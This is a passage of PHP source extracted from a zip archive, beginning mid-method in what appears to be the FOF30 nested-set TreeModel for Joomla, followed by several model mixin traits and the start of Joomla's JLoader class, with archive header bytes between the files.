$db->qn($this->getFieldAlias('rgt')); $query = $db->getQuery(true) ->select('(COUNT(' . $db->qn('parent') . '.' . $fldLft . ') - 1) AS ' . $db->qn('depth')) ->from($db->qn($this->tableName) . ' AS ' . $db->qn('node')) ->join('CROSS', $db->qn($this->tableName) . ' AS ' . $db->qn('parent')) ->where($db->qn('node') . '.' . $fldLft . ' >= ' . $db->qn('parent') . '.' . $fldLft) ->where($db->qn('node') . '.' . $fldLft . ' <= ' . $db->qn('parent') . '.' . $fldRgt) ->where($db->qn('node') . '.' . $fldLft . ' = ' . $db->q($this->lft)) ->group($db->qn('node') . '.' . $fldLft) ->order($db->qn('node') . '.' . $fldLft . ' ASC'); $this->treeDepth = $db->setQuery($query, 0, 1)->loadResult(); } return $this->treeDepth; } /** * Returns the immediate parent of the current node * * @return static * @throws RuntimeException * */ public function getParent() { // Sanity checks on current node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } if ($this->isRoot()) { return $this; } if (empty($this->treeParent) || !is_object($this->treeParent) || !($this->treeParent instanceof TreeModel)) { $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); $query = $db->getQuery(true) ->select($db->qn('parent') . '.' . $fldLft) ->from($db->qn($this->tableName) . ' AS ' . $db->qn('node')) ->join('CROSS', $db->qn($this->tableName) . ' AS ' . $db->qn('parent')) ->where($db->qn('node') . '.' . $fldLft . ' >= ' . $db->qn('parent') . '.' . $fldLft) ->where($db->qn('node') . '.' . $fldLft . ' <= ' . $db->qn('parent') . '.' . $fldRgt) ->where($db->qn('node') . '.' . $fldLft . ' = ' . $db->q($this->lft)) ->order($db->qn('parent') . '.' . $fldLft . ' DESC'); $targetLft = $db->setQuery($query, 1, 1)->loadResult(); $this->treeParent = $this->getClone()->reset() ->whereRaw($fldLft . ' = ' . $db->q($targetLft)) ->firstOrFail(); } return $this->treeParent; } /** * Is this a top-level root node? * * @return bool */ public function isRoot() { // If lft=1 it is necessarily a root node if ($this->lft == 1) { return true; } // Otherwise make sure its level is 0 return $this->getLevel() == 0; } /** * Is this a leaf node (a node without children)? * * @return bool * @throws RuntimeException * */ public function isLeaf() { // Sanity checks on current node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } return ($this->rgt - 1) == $this->lft; } /** * Is this a child node (not root)? * * @codeCoverageIgnore * * @return bool */ public function isChild() { return !$this->isRoot(); } /** * Returns true if we are a descendant of $otherNode * * @param TreeModel $otherNode * * @return bool * @throws RuntimeException * */ public function isDescendantOf(TreeModel $otherNode) { // Sanity checks on current node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } if ($otherNode->lft >= $otherNode->rgt) { throw new TreeInvalidLftRgtOther; } return ($otherNode->lft < $this->lft) && ($otherNode->rgt > $this->rgt); } /** * Returns true if $otherNode is ourselves or if we are a descendant of $otherNode * * @param TreeModel $otherNode * * @return bool */ public function isSelfOrDescendantOf(TreeModel $otherNode) { // Sanity checks on current node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } if ($otherNode->lft >= $otherNode->rgt) { throw new TreeInvalidLftRgtOther; } return ($otherNode->lft <= $this->lft) && ($otherNode->rgt >= $this->rgt); } /** * Returns true if we are an ancestor of $otherNode * * @codeCoverageIgnore * * @param TreeModel $otherNode * * @return bool */ public function isAncestorOf(TreeModel $otherNode) { return $otherNode->isDescendantOf($this); } /** * Returns true if $otherNode is ourselves or we are an ancestor of $otherNode * * @codeCoverageIgnore * * @param TreeModel $otherNode * * @return bool */ public function isSelfOrAncestorOf(TreeModel $otherNode) { return $otherNode->isSelfOrDescendantOf($this); } /** * Is $node this very node? * * @param TreeModel $node * * @return bool * @throws RuntimeException * */ public function equals(TreeModel &$node) { // Sanity checks on current node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } if ($node->lft >= $node->rgt) { throw new TreeInvalidLftRgtOther; } return ( ($this->getId() == $node->getId()) && ($this->lft == $node->lft) && ($this->rgt == $node->rgt) ); } /** * Checks if our node is inside the subtree of $otherNode. This is a fast check as only lft and rgt values have to * be compared. * * @param TreeModel $otherNode * * @return bool * @throws RuntimeException * */ public function insideSubtree(TreeModel $otherNode) { // Sanity checks on current node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } if ($otherNode->lft >= $otherNode->rgt) { throw new TreeInvalidLftRgtOther; } return ($this->lft > $otherNode->lft) && ($this->rgt < $otherNode->rgt); } /** * Returns true if both this node and $otherNode are root, leaf or child (same tree scope) * * @param TreeModel $otherNode * * @return bool */ public function inSameScope(TreeModel $otherNode) { if ($this->isLeaf()) { return $otherNode->isLeaf(); } elseif ($this->isRoot()) { return $otherNode->isRoot(); } elseif ($this->isChild()) { return $otherNode->isChild(); } else { return false; } } /** * get() will not return the selected node if it's part of the query results * * @param TreeModel $node The node to exclude from the results * * @return void */ public function withoutNode(TreeModel $node) { $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $this->whereRaw('NOT(' . $db->qn('node') . '.' . $fldLft . ' = ' . $db->q($node->lft) . ')'); } /** * Returns the root node of the tree this node belongs to * * @return static * * @throws RuntimeException */ public function getRoot() { // Empty node, let's try to get the first available root, ie lft=1 if (!$this->getId()) { $this->load(['lft' => 1]); } // Sanity checks on current node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } // If this is a root node return itself (there is no such thing as the root of a root node) if ($this->isRoot()) { return $this; } if (empty($this->treeRoot) || !is_object($this->treeRoot) || !($this->treeRoot instanceof TreeModel)) { $this->treeRoot = null; // First try to get the record with the minimum ID $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); $subQuery = $db->getQuery(true) ->select('MIN(' . $fldLft . ')') ->from($db->qn($this->tableName)); try { $root = $this->getClone()->reset() ->whereRaw($fldLft . ' = (' . (string) $subQuery . ')') ->firstOrFail(); if ($this->isDescendantOf($root)) { $this->treeRoot = $root; } } catch (RuntimeException $e) { // If there is no root found throw an exception. Basically: your table is FUBAR. throw new TreeRootNotFound($this->tableName, $this->lft); } // If the above method didn't work, get all roots and select the one with the appropriate lft/rgt values if (is_null($this->treeRoot)) { // Find the node with depth = 0, lft < our lft and rgt > our right. That's our root node. $query = $db->getQuery(true) ->select([ $db->qn('node') . '.' . $fldLft, '(COUNT(' . $db->qn('parent') . '.' . $fldLft . ') - 1) AS ' . $db->qn('depth'), ]) ->from($db->qn($this->tableName) . ' AS ' . $db->qn('node')) ->join('CROSS', $db->qn($this->tableName) . ' AS ' . $db->qn('parent')) ->where($db->qn('node') . '.' . $fldLft . ' >= ' . $db->qn('parent') . '.' . $fldLft) ->where($db->qn('node') . '.' . $fldLft . ' <= ' . $db->qn('parent') . '.' . $fldRgt) ->where($db->qn('node') . '.' . $fldLft . ' < ' . $db->q($this->lft)) ->where($db->qn('node') . '.' . $fldRgt . ' > ' . $db->q($this->rgt)) ->having($db->qn('depth') . ' = ' . $db->q(0)) ->group($db->qn('node') . '.' . $fldLft); // Get the lft value $targetLeft = $db->setQuery($query)->loadResult(); if (empty($targetLeft)) { // If there is no root found throw an exception. Basically: your table is FUBAR. throw new TreeRootNotFound($this->tableName, $this->lft); } try { $this->treeRoot = $this->getClone()->reset() ->whereRaw($fldLft . ' = ' . $db->q($targetLeft)) ->firstOrFail(); } catch (RuntimeException $e) { // If there is no root found throw an exception. Basically: your table is FUBAR. throw new TreeRootNotFound($this->tableName, $this->lft); } } } return $this->treeRoot; } /** * Get all ancestors to this node and the node itself. In other words it gets the full path to the node and the node * itself. * * @codeCoverageIgnore * * @return DataModel\Collection */ public function getAncestorsAndSelf() { $this->scopeAncestorsAndSelf(); return $this->get(true); } /** * Get all ancestors to this node and the node itself, but not the root node. If you want to * * @codeCoverageIgnore * * @return DataModel\Collection */ public function getAncestorsAndSelfWithoutRoot() { $this->scopeAncestorsAndSelf(); $this->scopeWithoutRoot(); return $this->get(true); } /** * Get all ancestors to this node but not the node itself. In other words it gets the path to the node, without the * node itself. * * @codeCoverageIgnore * * @return DataModel\Collection */ public function getAncestors() { $this->scopeAncestorsAndSelf(); $this->scopeWithoutSelf(); return $this->get(true); } /** * Get all ancestors to this node but not the node itself and its root. * * @codeCoverageIgnore * * @return DataModel\Collection */ public function getAncestorsWithoutRoot() { $this->scopeAncestors(); $this->scopeWithoutRoot(); return $this->get(true); } /** * Get all sibling nodes, including ourselves * * @codeCoverageIgnore * * @return DataModel\Collection */ public function getSiblingsAndSelf() { $this->scopeSiblingsAndSelf(); return $this->get(true); } /** * Get all sibling nodes, except ourselves * * @codeCoverageIgnore * * @return DataModel\Collection */ public function getSiblings() { $this->scopeSiblings(); return $this->get(true); } /** * Get all leaf nodes in the tree. You may want to use the scopes to narrow down the search in a specific subtree or * path. * * @codeCoverageIgnore * * @return DataModel\Collection */ public function getLeaves() { $this->scopeLeaves(); return $this->get(true); } /** * Get all descendant (children) nodes and ourselves. * * Note: all descendant nodes, even descendants of our immediate descendants, will be returned. * * @codeCoverageIgnore * * @return DataModel\Collection */ public function getDescendantsAndSelf() { $this->scopeDescendantsAndSelf(); return $this->get(true); } /** * Get only our descendant (children) nodes, not ourselves. * * Note: all descendant nodes, even descendants of our immediate descendants, will be returned. * * @codeCoverageIgnore * * @return DataModel\Collection */ public function getDescendants() { $this->scopeDescendants(); return $this->get(true); } /** * Get the immediate descendants (children). Unlike getDescendants it only goes one level deep into the tree * structure. Descendants of descendant nodes will not be returned. * * @codeCoverageIgnore * * @return DataModel\Collection */ public function getImmediateDescendants() { $this->scopeImmediateDescendants(); return $this->get(true); } /** * Returns a hashed array where each element's key is the value of the $key column (default: the ID column of the * table) and its value is the value of the $column column (default: title). Each nesting level will have the value * of the $column column prefixed by a number of $separator strings, as many as its nesting level (depth). * * This is useful for creating HTML select elements showing the hierarchy in a human readable format. * * @param string $column * @param null $key * @param string $seperator * * @return array */ public function getNestedList($column = 'title', $key = null, $seperator = ' ') { $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); if (empty($key) || !$this->hasField($key)) { $key = $this->getIdFieldName(); } if (empty($column)) { $column = 'title'; } $fldKey = $db->qn($this->getFieldAlias($key)); $fldColumn = $db->qn($this->getFieldAlias($column)); $query = $db->getQuery(true) ->select([ $db->qn('node') . '.' . $fldKey, $db->qn('node') . '.' . $fldColumn, '(COUNT(' . $db->qn('parent') . '.' . $fldKey . ') - 1) AS ' . $db->qn('depth'), ]) ->from($db->qn($this->tableName) . ' AS ' . $db->qn('node')) ->join('CROSS', $db->qn($this->tableName) . ' AS ' . $db->qn('parent')) ->where($db->qn('node') . '.' . $fldLft . ' >= ' . $db->qn('parent') . '.' . $fldLft) ->where($db->qn('node') . '.' . $fldLft . ' <= ' . $db->qn('parent') . '.' . $fldRgt) ->group($db->qn('node') . '.' . $fldLft) ->order($db->qn('node') . '.' . $fldLft . ' ASC'); $tempResults = $db->setQuery($query)->loadAssocList(); $ret = []; if (!empty($tempResults)) { foreach ($tempResults as $row) { $ret[$row[$key]] = str_repeat($seperator, $row['depth']) . $row[$column]; } } return $ret; } /** * Locate a node from a given path, e.g. "/some/other/leaf" * * Notes: * - This will only work when you have a "slug" and a "hash" field in your table. * - If the path starts with "/" we will use the root with lft=1. Otherwise the first component of the path is * supposed to be the slug of the root node. * - If the root node is not found you'll get null as the return value * - You will also get null if any component of the path is not found * * @param string $path The path to locate * * @return TreeModel|null The found node or null if nothing is found */ public function findByPath($path) { // No path? No node. if (empty($path)) { return null; } // Extract the path parts $pathParts = explode('/', $path); $firstElement = array_shift($pathParts); if (!empty($firstElement)) { array_unshift($pathParts, $firstElement); } // Just a slash? Return the root if (empty($pathParts[0])) { return $this->getRoot(); } // Get the quoted field names $db = $this->getDbo(); $fldLeft = $db->qn($this->getFieldAlias('lft')); $fldRight = $db->qn($this->getFieldAlias('rgt')); $fldHash = $db->qn($this->getFieldAlias('hash')); // Get the quoted hashes of the slugs $pathHashesQuoted = []; foreach ($pathParts as $part) { $pathHashesQuoted[] = $db->q(sha1($part)); } // Get all nodes with slugs matching our path $query = $db->getQuery(true) ->select([ $db->qn('node') . '.*', '(COUNT(' . $db->qn('parent') . '.' . $db->qn($this->getFieldAlias('lft')) . ') - 1) AS ' . $db->qn('depth'), ])->from($db->qn($this->tableName) . ' AS ' . $db->qn('node')) ->join('CROSS', $db->qn($this->tableName) . ' AS ' . $db->qn('parent')) ->where($db->qn('node') . '.' . $fldLeft . ' >= ' . $db->qn('parent') . '.' . $fldLeft) ->where($db->qn('node') . '.' . $fldLeft . ' <= ' . $db->qn('parent') . '.' . $fldRight) ->where($db->qn('node') . '.' . $fldHash . ' IN (' . implode(',', $pathHashesQuoted) . ')') ->group($db->qn('node') . '.' . $fldLeft) ->order([ $db->qn('depth') . ' ASC', $db->qn('node') . '.' . $fldLeft . ' ASC', ]); $queryResults = $db->setQuery($query)->loadAssocList(); $pathComponents = []; // Handle paths with (no root slug provided) and without (root slug provided) a leading slash $currentLevel = (substr($path, 0, 1) == '/') ? 0 : -1; $maxLevel = count($pathParts) + $currentLevel; // Initialise the path results array $i = $currentLevel; foreach ($pathParts as $part) { $i++; $pathComponents[$i] = [ 'slug' => $part, 'id' => null, 'lft' => null, 'rgt' => null, ]; } // Search for the best matching nodes $colSlug = $this->getFieldAlias('slug'); $colLft = $this->getFieldAlias('lft'); $colRgt = $this->getFieldAlias('rgt'); $colId = $this->getIdFieldName(); foreach ($queryResults as $row) { if ($row['depth'] == $currentLevel + 1) { if ($row[$colSlug] != $pathComponents[$currentLevel + 1]['slug']) { continue; } if ($currentLevel > 0) { if ($row[$colLft] < $pathComponents[$currentLevel]['lft']) { continue; } if ($row[$colRgt] > $pathComponents[$currentLevel]['rgt']) { continue; } } $currentLevel++; $pathComponents[$currentLevel]['id'] = $row[$colId]; $pathComponents[$currentLevel]['lft'] = $row[$colLft]; $pathComponents[$currentLevel]['rgt'] = $row[$colRgt]; } if ($currentLevel == $maxLevel) { break; } } // Get the last found node $lastNode = array_pop($pathComponents); // If the node exists, return it... if (!empty($lastNode['lft'])) { return $this->getClone()->reset()->where($colLft, '=', $lastNode['lft'])->firstOrFail(); } // ...otherwise return null return null; } /** * Overrides the DataModel's buildQuery to allow nested set searches using the provided scopes * * @param bool $overrideLimits * * @return JDatabaseQuery */ public function buildQuery($overrideLimits = false) { $db = $this->getDbo(); $query = parent::buildQuery($overrideLimits); // Wipe out select and from sections $query->clear('select'); $query->clear('from'); $query ->select($db->qn('node') . '.*') ->from($db->qn($this->tableName) . ' AS ' . $db->qn('node')); if ($this->treeNestedGet) { $query ->join('CROSS', $db->qn($this->tableName) . ' AS ' . $db->qn('parent')); } return $query; } protected function onAfterDelete($oid) { $db = $this->getDbo(); $myLeft = $this->lft; $myRight = $this->rgt; $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); // Move all siblings to the left $width = $this->rgt - $this->lft + 1; // Wrap everything in a transaction $db->transactionStart(); try { // Shrink lft values $query = $db->getQuery(true) ->update($db->qn($this->getTableName())) ->set($fldLft . ' = ' . $fldLft . ' - ' . $width) ->where($fldLft . ' > ' . $db->q($myLeft)); $db->setQuery($query)->execute(); // Shrink rgt values $query = $db->getQuery(true) ->update($db->qn($this->getTableName())) ->set($fldRgt . ' = ' . $fldRgt . ' - ' . $width) ->where($fldRgt . ' > ' . $db->q($myRight)); $db->setQuery($query)->execute(); // Commit the transaction $db->transactionCommit(); } catch (Exception $e) { // Roll back the transaction on error $db->transactionRollback(); throw $e; } return $this; } /** * get() will return all ancestor nodes and ourselves * * @return void */ protected function scopeAncestorsAndSelf() { $this->treeNestedGet = true; $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); $this->whereRaw($db->qn('parent') . '.' . $fldLft . ' >= ' . $db->qn('node') . '.' . $fldLft); $this->whereRaw($db->qn('parent') . '.' . $fldLft . ' <= ' . $db->qn('node') . '.' . $fldRgt); $this->whereRaw($db->qn('parent') . '.' . $fldLft . ' = ' . $db->q($this->lft)); } /** * get() will return all ancestor nodes but not ourselves * * @return void */ protected function scopeAncestors() { $this->treeNestedGet = true; $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); $this->whereRaw($db->qn('parent') . '.' . $fldLft . ' > ' . $db->qn('node') . '.' . $fldLft); $this->whereRaw($db->qn('parent') . '.' . $fldLft . ' < ' . $db->qn('node') . '.' . $fldRgt); $this->whereRaw($db->qn('parent') . '.' . $fldLft . ' = ' . $db->q($this->lft)); } /** * get() will return all sibling nodes and ourselves * * @return void */ protected function scopeSiblingsAndSelf() { $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); $parent = $this->getParent(); $this->whereRaw($db->qn('node') . '.' . $fldLft . ' > ' . $db->q($parent->lft)); $this->whereRaw($db->qn('node') . '.' . $fldRgt . ' < ' . $db->q($parent->rgt)); } /** * get() will return all sibling nodes but not ourselves * * @codeCoverageIgnore * * @return void */ protected function scopeSiblings() { $this->scopeSiblingsAndSelf(); $this->scopeWithoutSelf(); } /** * get() will return only leaf nodes * * @return void */ protected function scopeLeaves() { $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); $this->whereRaw($db->qn('node') . '.' . $fldLft . ' = ' . $db->qn('node') . '.' . $fldRgt . ' - ' . $db->q(1)); } /** * get() will return all descendants (even subtrees of subtrees!) and ourselves * * @return void */ protected function scopeDescendantsAndSelf() { $this->treeNestedGet = true; $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); $this->whereRaw($db->qn('node') . '.' . $fldLft . ' >= ' . $db->qn('parent') . '.' . $fldLft); $this->whereRaw($db->qn('node') . '.' . $fldLft . ' <= ' . $db->qn('parent') . '.' . $fldRgt); $this->whereRaw($db->qn('parent') . '.' . $fldLft . ' = ' . $db->q($this->lft)); } /** * get() will return all descendants (even subtrees of subtrees!) but not ourselves * * @return void */ protected function scopeDescendants() { $this->treeNestedGet = true; $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); $this->whereRaw($db->qn('node') . '.' . $fldLft . ' > ' . $db->qn('parent') . '.' . $fldLft); $this->whereRaw($db->qn('node') . '.' . $fldLft . ' < ' . $db->qn('parent') . '.' . $fldRgt); $this->whereRaw($db->qn('parent') . '.' . $fldLft . ' = ' . $db->q($this->lft)); } /** * get() will only return immediate descendants (first level children) of the current node * * @return void * @throws RuntimeException * */ protected function scopeImmediateDescendants() { // Sanity checks on current node position if ($this->lft >= $this->rgt) { throw new TreeInvalidLftRgtCurrent; } $db = $this->getDbo(); $fldLft = $db->qn($this->getFieldAlias('lft')); $fldRgt = $db->qn($this->getFieldAlias('rgt')); $subQuery = $db->getQuery(true) ->select([ $db->qn('node') . '.' . $fldLft, '(COUNT(*) - 1) AS ' . $db->qn('depth'), ]) ->from($db->qn($this->tableName) . ' AS ' . $db->qn('node')) ->from($db->qn($this->tableName) . ' AS ' . $db->qn('parent')) ->where($db->qn('node') . '.' . $fldLft . ' >= ' . $db->qn('parent') . '.' . $fldLft) ->where($db->qn('node') . '.' . $fldLft . ' <= ' . $db->qn('parent') . '.' . $fldRgt) ->where($db->qn('node') . '.' . $fldLft . ' = ' . $db->q($this->lft)) ->group($db->qn('node') . '.' . $fldLft) ->order($db->qn('node') . '.' . $fldLft . ' ASC'); $query = $db->getQuery(true) ->select([ $db->qn('node') . '.' . $fldLft, '(COUNT(' . $db->qn('parent') . '.' . $fldLft . ') - (' . $db->qn('sub_tree') . '.' . $db->qn('depth') . ' + 1)) AS ' . $db->qn('depth'), ]) ->from($db->qn($this->tableName) . ' AS ' . $db->qn('node')) ->join('CROSS', $db->qn($this->tableName) . ' AS ' . $db->qn('parent')) ->join('CROSS', $db->qn($this->tableName) . ' AS ' . $db->qn('sub_parent')) ->join('CROSS', '(' . $subQuery . ') AS ' . $db->qn('sub_tree')) ->where($db->qn('node') . '.' . $fldLft . ' >= ' . $db->qn('parent') . '.' . $fldLft) ->where($db->qn('node') . '.' . $fldLft . ' <= ' . $db->qn('parent') . '.' . $fldRgt) ->where($db->qn('node') . '.' . $fldLft . ' >= ' . $db->qn('sub_parent') . '.' . $fldLft) ->where($db->qn('node') . '.' . $fldLft . ' <= ' . $db->qn('sub_parent') . '.' . $fldRgt) ->where($db->qn('sub_parent') . '.' . $fldLft . ' = ' . $db->qn('sub_tree') . '.' . $fldLft) ->group($db->qn('node') . '.' . $fldLft) ->having([ $db->qn('depth') . ' > ' . $db->q(0), $db->qn('depth') . ' <= ' . $db->q(1), ]) ->order($db->qn('node') . '.' . $fldLft . ' ASC'); $leftValues = $db->setQuery($query)->loadColumn(); if (empty($leftValues)) { $leftValues = [0]; } array_walk($leftValues, function (&$item, $key) use (&$db) { $item = $db->q($item); }); $this->whereRaw($db->qn('node') . '.' . $fldLft . ' IN (' . implode(',', $leftValues) . ')'); } /** * get() will not return ourselves if it's part of the query results * * @codeCoverageIgnore * * @return void */ protected function scopeWithoutSelf() { $this->withoutNode($this); } /** * get() will not return our root if it's part of the query results * * @codeCoverageIgnore * * @return void */ protected function scopeWithoutRoot() { $rootNode = $this->getRoot(); $this->withoutNode($rootNode); } /** * Resets cached values used to speed up querying the tree * * @return static for chaining */ protected function resetTreeCache() { $this->treeDepth = null; $this->treeRoot = null; $this->treeParent = null; $this->treeNestedGet = false; return $this; } } PK���\���� fof30/Model/Mixin/Generators.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\Mixin; defined('_JEXEC') || die; use Exception; use Generator; use ReflectionObject; /** * Trait for PHP 5.5 Generators */ trait Generators { /** * Returns a PHP Generator of DataModel instances based on your currently set Model state. You can foreach() the * returned generator to walk through each item of the data set. * * WARNING! This only works on PHP 5.5 and later. * * When the generator is done you might get a PHP warning. This is normal. Joomla! doesn't support multiple db * cursors being open at once. What we do instead is clone the database object. Of course it cannot close the db * connection when we dispose of it (since it's already in use by Joomla), hence the warning. Pay no attention. * * @param integer $limitstart How many items from the start to skip (0 = do not skip) * @param integer $limit How many items to return (0 = all) * @param bool $overrideLimits Set to true to override limitstart, limit and ordering * * @return Generator A PHP generator of DataModel objects * @throws Exception * @since 3.3.2 */ public function &getGenerator($limitstart = 0, $limit = 0, $overrideLimits = false) { $limitstart = max($limitstart, 0); $limit = max($limit, 0); $query = $this->buildQuery($overrideLimits); $db = clone $this->getDbo(); $db->setQuery($query, $limitstart, $limit); $cursor = $db->execute(); $reflectDB = new ReflectionObject($db); $refFetchAssoc = $reflectDB->getMethod('fetchAssoc'); $refFetchAssoc->setAccessible(true); while ($data = $refFetchAssoc->invoke($db, $cursor)) { $item = clone $this; $item->clearState()->reset(true); $item->bind($data); $item->relationManager = clone $this->relationManager; $item->relationManager->rebase($item); yield $item; } } } PK���\m�yy fof30/Model/Mixin/Assertions.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\Mixin; defined('_JEXEC') || die; use Joomla\CMS\Language\Text; use RuntimeException; /** * Trait for check() method assertions */ trait Assertions { /** * Make sure $condition is true or throw a RuntimeException with the $message language string * * @param bool $condition The condition which must be true * @param string $message The language key for the message to throw * * @throws RuntimeException */ protected function assert($condition, $message) { if (!$condition) { throw new RuntimeException(Text::_($message)); } } /** * Assert that $value is not empty or throw a RuntimeException with the $message language string * * @param mixed $value The value to check * @param string $message The language key for the message to throw * * @throws RuntimeException */ protected function assertNotEmpty($value, $message) { $this->assert(!empty($value), $message); } /** * Assert that $value is set to one of $validValues or throw a RuntimeException with the $message language string * * @param mixed $value The value to check * @param array $validValues An array of valid values for $value * @param string $message The language key for the message to throw * * @throws RuntimeException */ protected function assertInArray($value, array $validValues, $message) { $this->assert(in_array($value, $validValues), $message); } /** * Assert that $value is set to none of $validValues. Otherwise throw a RuntimeException with the $message language * string. * * @param mixed $value The value to check * @param array $validValues An array of invalid values for $value * @param string $message The language key for the message to throw * * @throws RuntimeException */ protected function assertNotInArray($value, array $validValues, $message) { $this->assert(!in_array($value, $validValues, true), $message); } } PK���\*Zy� &fof30/Model/Mixin/DateManipulation.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\Mixin; defined('_JEXEC') || die; use FOF30\Date\Date; use FOF30\Model\DataModel; use JDatabaseDriver; use JLoader; /** * Trait for date manipulations commonly used in models */ trait DateManipulation { /** * Normalise a date into SQL format * * @param string $value The date to normalise * @param string $default The default date to use if the normalised date is invalid or empty (use 'now' for * current date/time) * * @return string */ protected function normaliseDate($value, $default = '2001-01-01') { /** @var DataModel $this */ $db = $this->container->platform->getDbo(); if (empty($value) || ($value == $db->getNullDate())) { $value = $default; } if (empty($value) || ($value == $db->getNullDate())) { return $value; } $regex = '/^\d{1,4}(\/|-)\d{1,2}(\/|-)\d{2,4}[[:space:]]{0,}(\d{1,2}:\d{1,2}(:\d{1,2}){0,1}){0,1}$/'; if (!preg_match($regex, $value)) { $value = $default; } if (empty($value) || ($value == $db->getNullDate())) { return $value; } $date = new Date($value); $value = $date->toSql(); return $value; } /** * Sort the published up/down times in case they are give out of order. If publish_up equals publish_down the * foreverDate will be used for publish_down. * * @param string $publish_up Publish Up date * @param string $publish_down Publish Down date * @param string $foreverDate See above * * @return array (publish_up, publish_down) */ protected function sortPublishDates($publish_up, $publish_down, $foreverDate = '2038-01-18 00:00:00') { $jUp = new Date($publish_up); $jDown = new Date($publish_down); if ($jDown->toUnix() < $jUp->toUnix()) { $temp = $publish_up; $publish_up = $publish_down; $publish_down = $temp; } elseif ($jDown->toUnix() == $jUp->toUnix()) { $jDown = new Date($foreverDate); $publish_down = $jDown->toSql(); } return [$publish_up, $publish_down]; } /** * Publish or unpublish a DataModel item based on its publish_up / publish_down fields * * @param DataModel $row The DataModel to publish/unpublish * * @return void */ protected function publishByDate(DataModel $row) { static $uNow = null; if (is_null($uNow)) { $jNow = new Date(); $uNow = $jNow->toUnix(); } /** @var JDatabaseDriver $db */ $db = $this->container->platform->getDbo(); $triggered = false; $publishDown = $row->getFieldValue('publish_down'); if (!empty($publishDown) && ($publishDown != $db->getNullDate())) { $publish_down = $this->normaliseDate($publishDown, '2038-01-18 00:00:00'); $publish_up = $this->normaliseDate($row->publish_up, '2001-01-01 00:00:00'); $jDown = new Date($publish_down); $jUp = new Date($publish_up); if (($uNow >= $jDown->toUnix()) && $row->enabled) { $row->enabled = 0; $triggered = true; } elseif (($uNow >= $jUp->toUnix()) && !$row->enabled && ($uNow < $jDown->toUnix())) { $row->enabled = 1; $triggered = true; } } if ($triggered) { $row->save(); } } } PK���\_�d&��fof30/Model/Mixin/JsonData.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\Mixin; defined('_JEXEC') || die; /** * Trait for dealing with data stored as JSON-encoded strings */ trait JsonData { /** * Converts the loaded JSON string into an array * * @param string $value The JSON string * * @return array The data */ protected function getAttributeForJson($value) { if (is_array($value)) { return $value; } if (empty($value)) { return []; } $value = json_decode($value, true); if (empty($value)) { return []; } return $value; } /** * Converts and array into a JSON string * * @param array $value The data * * @return string The JSON string */ protected function setAttributeForJson($value) { if (!is_array($value)) { return $value; } $value = json_encode($value); return $value; } } PK���\~F�ss$fof30/Model/Mixin/ImplodedArrays.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\Mixin; defined('_JEXEC') || die; /** * Trait for dealing with imploded arrays, stored as comma-separated values */ trait ImplodedArrays { /** * Converts the loaded comma-separated list into an array * * @param string $value The comma-separated list * * @return array The exploded array */ protected function getAttributeForImplodedArray($value) { if (is_array($value)) { return $value; } if (empty($value)) { return []; } $value = explode(',', $value); $value = array_map('trim', $value); return $value; } /** * Converts an array of values into a comma separated list * * @param array $value The array of values * * @return string The imploded comma-separated list */ protected function setAttributeForImplodedArray($value) { if (!is_array($value)) { return $value; } $value = array_map('trim', $value); $value = implode(',', $value); return $value; } } PK���\�"Eb#Y#Y loader.phpnu�[���<?php /** * @package Joomla.Platform * * @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Static class to handle loading of libraries. * * @package Joomla.Platform * @since 1.7.0 */ abstract class JLoader { /** * Container for already imported library paths. * * @var array * @since 1.7.0 */ protected static $classes = array(); /** * Container for already imported library paths. * * @var array * @since 1.7.0 */ protected static $imported = array(); /** * Container for registered library class prefixes and path lookups. * * @var array * @since 3.0.0 */ protected static $prefixes = array(); /** * Holds proxy classes and the class names the proxy. * * @var array * @since 3.2 */ protected static $classAliases = array(); /** * Holds the inverse lookup for proxy classes and the class names the proxy. * * @var array * @since 3.4 */ protected static $classAliasesInverse = array(); 